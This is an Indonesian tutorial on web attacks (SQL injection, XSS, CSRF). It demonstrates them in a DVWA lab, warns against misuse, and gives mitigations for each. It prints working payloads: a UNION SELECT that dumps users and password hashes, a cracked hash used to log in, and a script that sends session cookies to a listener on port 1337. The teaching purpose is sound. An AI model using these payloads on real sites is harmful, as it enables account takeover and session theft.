Apa itu Web Exploitation?
Web exploitation berarti memanfaatkan celah atau kelemahan dalam aplikasi web untuk menyusup, mencuri data, atau mengambil alih kontrol sistem.
Ini melibatkan penggunaan kode untuk mengeksploitasi kelemahan dalam kode aplikasi, konfigurasi server, atau protokol yang digunakan dalam komunikasi web.
Apa saja dampak serangan web ?
1. Kebocoran Data Sensitif
Serangan web exploitation dapat menyebabkan data sensitif seperti password, nomor kartu kredit, atau informasi pribadi bocor ke tangan pihak yang tidak bertanggung jawab. Akibatnya, korban bisa mengalami pencurian identitas, penipuan finansial, hingga pemerasan digital.
2. Kerugian Finansial
Bagi perusahaan, kebocoran data dan gangguan sistem berarti kerugian langsung berupa biaya pemulihan, kompensasi pelanggan, hingga potensi tuntutan hukum. Biaya rata-rata satu insiden kebocoran data kini mencapai jutaan dolar, dan seringkali lebih besar daripada biaya pencegahan.
3. Reputasi yang Rusak
Sekali perusahaan terserang, kepercayaan pelanggan bisa runtuh. Reputasi yang dibangun bertahun-tahun bisa hancur dalam hitungan hari. Banyak pelanggan enggan menggunakan layanan yang sudah tercoreng oleh isu keamanan.
4. Gangguan Operasional
Serangan juga dapat melumpuhkan layanan digital, membuat website atau aplikasi tidak bisa diakses. Ini bukan hanya menghambat transaksi, tapi juga bisa menghentikan aktivitas bisnis secara keseluruhan.
5. Dampak Hukum dan Regulasi
Dengan regulasi perlindungan data yang semakin ketat (seperti GDPR atau UU PDP di Indonesia), perusahaan yang gagal melindungi data bisa dikenai denda besar. Serangan web exploitation tidak hanya menimbulkan masalah teknis, tapi juga konsekuensi hukum yang serius.
Contoh Kasus Serangan Web

- Pada Maret 2023, peretas bernama Bjorka mengklaim membocorkan data pribadi sekitar 19,56 juta peserta BPJS Ketenagakerjaan, termasuk NIK, nama, dan alamat, lalu menjualnya di dark web seharga USD 10.000.
- Di bulan yang sama, sistem Bank Syariah Indonesia (BSI) diserang oleh kelompok ransomware Lockbit, yang mencuri sekitar 1,5 TB data berisi informasi pribadi pengguna dan dokumen karyawan—dengan tebusan yang diminta mencapai USD 20 juta.
- pada Juni 2024, Pusat Data Nasional (PDN) menjadi korban serangan ransomware oleh grup Lockbit 3.0, yang mengakibatkan sistem sebanyak lebih dari 40 lembaga pemerintahan terganggu, termasuk pelayanan imigrasi bandara—dengan tebusan sekitar USD 8 juta dan sebagian besar data tidak memiliki backup .
Serangan pada Aplikasi Web paling umum
1. SQL Injection (SQLi)
- Cara kerja: Penyerang menyisipkan perintah SQL berbahaya ke dalam form input (misalnya login).
- Dampak: Bisa membaca, mengubah, atau bahkan menghapus seluruh database.
- Contoh nyata: Kredensial user bocor karena query database tidak difilter.
2. Cross-Site Scripting (XSS)
- Cara kerja: Menyuntikkan skrip berbahaya (biasanya JavaScript) ke halaman web.
- Dampak: Data session dicuri, redirect ke halaman palsu, atau menginfeksi pengunjung.
- Jenis: Stored XSS, Reflected XSS, DOM-based XSS.
3. Cross-Site Request Forgery (CSRF)
- Cara kerja: Penyerang memanfaatkan session login user untuk melakukan aksi tanpa sepengetahuan korban.
- Dampak: Transfer dana tanpa izin, perubahan password, atau manipulasi data akun.
SQL Injection
SQL Injection merupakan salah satu serangan web paling populer, di mana penyerang menyisipkan perintah SQL berbahaya ke dalam input aplikasi web dengan tujuan memanipulasi database. Serangan ini memungkinkan peretas untuk melihat, mengubah, atau bahkan menghapus data yang seharusnya tidak bisa diakses.
Sebagian besar aplikasi web modern berhubungan dengan database. Jika input dari pengguna (misalnya pada form login, search bar, atau URL parameter) tidak divalidasi dengan benar, maka kode SQL tambahan yang dimasukkan penyerang bisa ikut dieksekusi oleh server. Dengan kata lain, aplikasi “tertipu” menjalankan perintah yang seharusnya tidak boleh dijalankan.
Peringatan : Jangan pernah sekali kali menyalahgunakan teknik
serangan ini di website publik !
Penyalahgunaan bisa menyebabkan pidana !
Pertama, Buka Lingkungan uji coba yang aman. Penulis disini menggunakan DVWA sebagai media uji cobanya.

Penjelasan Konsep Serangan
SQL Injection (SQLi) adalah jenis serangan di mana peretas menyisipkan perintah SQL berbahaya ke dalam input sebuah aplikasi web (misalnya form login atau kolom pencarian).
➡️ Tujuan: memanipulasi database agar mengungkap, mengubah, atau menghapus data yang seharusnya tidak bisa diakses.
➡️ Contoh sederhana:
Jika kolom login tidak divalidasi dengan baik, peretas bisa memasukkan query:
Apa itu query?
Query bisa diartikan sebagai pertanyaan atau instruksi yang diberikan kepada sistem database untuk mendapatkan informasi tertentu.
' OR '1'='1
👉 Dampaknya bisa sangat serius: kebocoran data pengguna, modifikasi informasi penting, hingga kontrol penuh atas database.
Analoginya seperti ini :
Bayangkan ada sebuah kantor, kantor tersebut dijaga oleh sekuriti. Ketika kita diminta nama dan ID oleh sekuriti, kita menjawab “Nama saya kosong dan ID saya adalah ID karyawan”, karena sekuriti tidak diberi tahu tentang aturan menjaga data karyawan sehingga dia menunjukkan setiap data yang ada.
Simulasi Serangan SQLi


Ketika penyerang sudah mendapatkan username, kemungkinan besar mereka akan mencari password dari para pengguna.
' UNION SELECT user, password FROM users#
'→ menutup input sebelumnya (misalnya dari form login atau search).UNION SELECT user, password FROM users- UNION = menggabungkan hasil query pertama dengan query tambahan.
user, password FROM users= mengambil kolom username dan password dari tabelusers.- Jadi, walaupun query awalnya hanya menampilkan 1 data, sekarang “dipaksa” juga menampilkan isi tabel lain.
#→ menandakan comment di SQL (MySQL khususnya).- Semua kode setelah
#diabaikan. - Gunanya untuk “mematikan” sisa query asli supaya tidak bikin error.
- Semua kode setelah
Simulasi ketika query berikut dimasukan kedalam kolom input :


bisa dilihat, output query tersebut memberikan hasil lebih banyak dari sebelumya, “kode aneh” tersebut disebut sebagai hash.
cara untuk mengubah data apapun (seperti kata sandi, file, atau pesan) menjadi serangkaian karakter tetap dengan panjang tertentu.
ketika peretas melakukan cracking hash tersebut, mereka bisa mendapatkan informasi lain. Seperti password misal.
kita coba crack salah satu hash tersebut dengan menggunakan CrackStation. Kita disini akan menggunakan hash dari user bernama ‘gordonb’.

hasil dari crack tersebut adalah abc123, sekarang kita coba masukan username gordonb beserta passwordnya.


Mitigasi dan cara mencegah SQLi
Gunakan Prepared Statements / Parameterized Queries: Pisahkan data input dari logika SQL sehingga query tidak bisa dimanipulasi.
Validasi & Sanitasi Input: Pastikan hanya data dengan format tertentu yang diterima (misalnya angka untuk ID, bukan teks bebas).
Batasi Hak Akses Database: Jangan gunakan akun database dengan hak admin untuk aplikasi.
Monitoring & Logging: Catat aktivitas mencurigakan dan gunakan WAF (Web Application Firewall) untuk mendeteksi pola serangan.
Update Framework & Library: Banyak framework modern (misalnya Django, Laravel, Spring) sudah memiliki proteksi bawaan, asalkan tetap diperbarui.
XSS (Cross Site Scripting)
XSS (Cross-Site Scripting) adalah serangan di mana peretas menyuntikkan kode berbahaya (biasanya JavaScript) ke dalam website.
Tujuan: agar kode itu dijalankan di browser pengunjung lain.
Dampak: pencurian cookie/session login, redirect ke website palsu, sampai menampilkan pesan berbahaya di halaman.
Contoh sederhana:
Kalau kolom komentar tidak difilter, peretas bisa menulis:
<script>alert('Hacked!');</script>
Maka semua orang yang membuka komentar itu akan melihat pop-up — atau lebih parah, datanya bisa dicuri.
Simulasi Serangan XSS

Saya disini memasukan script :
<script>alert("You Have been hacked")</script>
lalu muncul peringatan yang bertuliskan You Have been hacked.

ketika saya memasukan script :
<script>alert(document.cookie)</script>
maka sistem akan menampilkan cookie yang bisa dimanfaatkan peretas untuk mendapatkan informasi yang sensitif.
Apa itu cookie?
Cookie berisi informasi tentang aktivitas penjelajahan pengguna, seperti preferensi, riwayat login, dan item yang disimpan dalam keranjang belanja.

Ketika saya memasukkan script :
<script>window.location='http://127.0.0.1:1337/?cookie=' + document.cookie</script>
skrip tersebut memberikan perintah kepada server untuk menampilkan cookie kedalam sebuah local server dengan port 1337, sehingga apasaja yang dilakukan user bisa terlihat.

Mitigasi dan pencegahan XSS
1. Input Validation dan Sanitazion
- Selalu validasi semua input dari user (form, komentar, URL parameter, upload, dll).
- Hanya izinkan karakter yang memang dibutuhkan (whitelist approach).
- Gunakan library sanitasi input yang terpercaya.
2. Output Encoding / Escaping
- Encode karakter khusus sebelum ditampilkan di browser:
<jadi<>jadi>"jadi"
- Dengan begitu, kode berbahaya dianggap teks biasa, bukan dijalankan oleh browser.
3. Gunakan HTTPOnly Cookie
- Set flag
HttpOnlypada cookie session. - Tujuannya: JavaScript tidak bisa membaca cookie → mencegah pencurian session lewat XSS.
4. Content Security Policy (CSP)
- Terapkan CSP header di server, contoh:
Content-Security-Policy: default-src 'self';
- CSP membatasi sumber JavaScript yang boleh dijalankan → meminimalisir XSS berjalan.
5. Gunakan Framework modern
- Framework modern (React, Angular, Vue) sudah punya mekanisme auto-escaping di output, sehingga risiko XSS lebih kecil.
CSRF (Cross Site Request Forgery)
CSRF (Cross-Site Request Forgery) adalah serangan di mana peretas menipu korban agar tanpa sadar menjalankan aksi di website yang sudah dia login.
Simulasi Serangan CSRF

disini saya punya halaman yang dapat mengubah sandi dari pengguna. Jika sandi diubah maka akun pengguna harus login dengan password yang baru. ini menjadi celah dari website tersebut, karena sistem tidak mengotentikasi input yang masuk.
Saya disini memiliki skrip yang dapat mengganti password tanpa sepengetahuan pengguna hanya dengan mengklik link yang diberikan.


Mitigasi dan pencegahan CSRFI
1. Token anti CSRF
Token anti-CSRF adalah kode unik yang dihasilkan untuk setiap sesi pengguna dan harus disertakan dalam setiap permintaan yang mengubah data atau status aplikasi.
Token ini divalidasi oleh server untuk memastikan bahwa permintaan tersebut berasal dari pengguna yang sah dan bukan dari pihak ketiga yang mencoba melakukan serangan CSRF. Token harus disimpan dengan aman, misalnya, dalam kolom tersembunyi pada formulir, dan tidak boleh mudah ditebak atau diprediksi.
2. SameSiteCookie
Atribut SameSite pada cookie membatasi akses cookie hanya untuk permintaan dari domain yang sama.
Tiga nilai yang mungkin untuk SameSite adalah Strict, Lax, dan None.
Strict: Cookie hanya dikirim pada permintaan yang berasal dari domain yang sama, sehingga sangat efektif mencegah CSRF, tetapi juga dapat membatasi beberapa fungsi situs web yang sah.
Lax: Cookie dikirim pada permintaan yang sama dan beberapa permintaan lintas situs “aman” (seperti GET), memberikan keseimbangan antara keamanan dan kegunaan.
None: Cookie dikirim pada semua permintaan, menonaktifkan perlindungan SameSite.
3. Validasi Header Referer
Header HTTP Referer menunjukkan URL halaman sebelumnya yang dikunjungi pengguna. Server dapat memvalidasi header Referer untuk memastikan bahwa permintaan berasal dari situs web yang sah. Namun, header Referer dapat dimanipulasi, jadi ini bukanlah metode perlindungan yang paling kuat.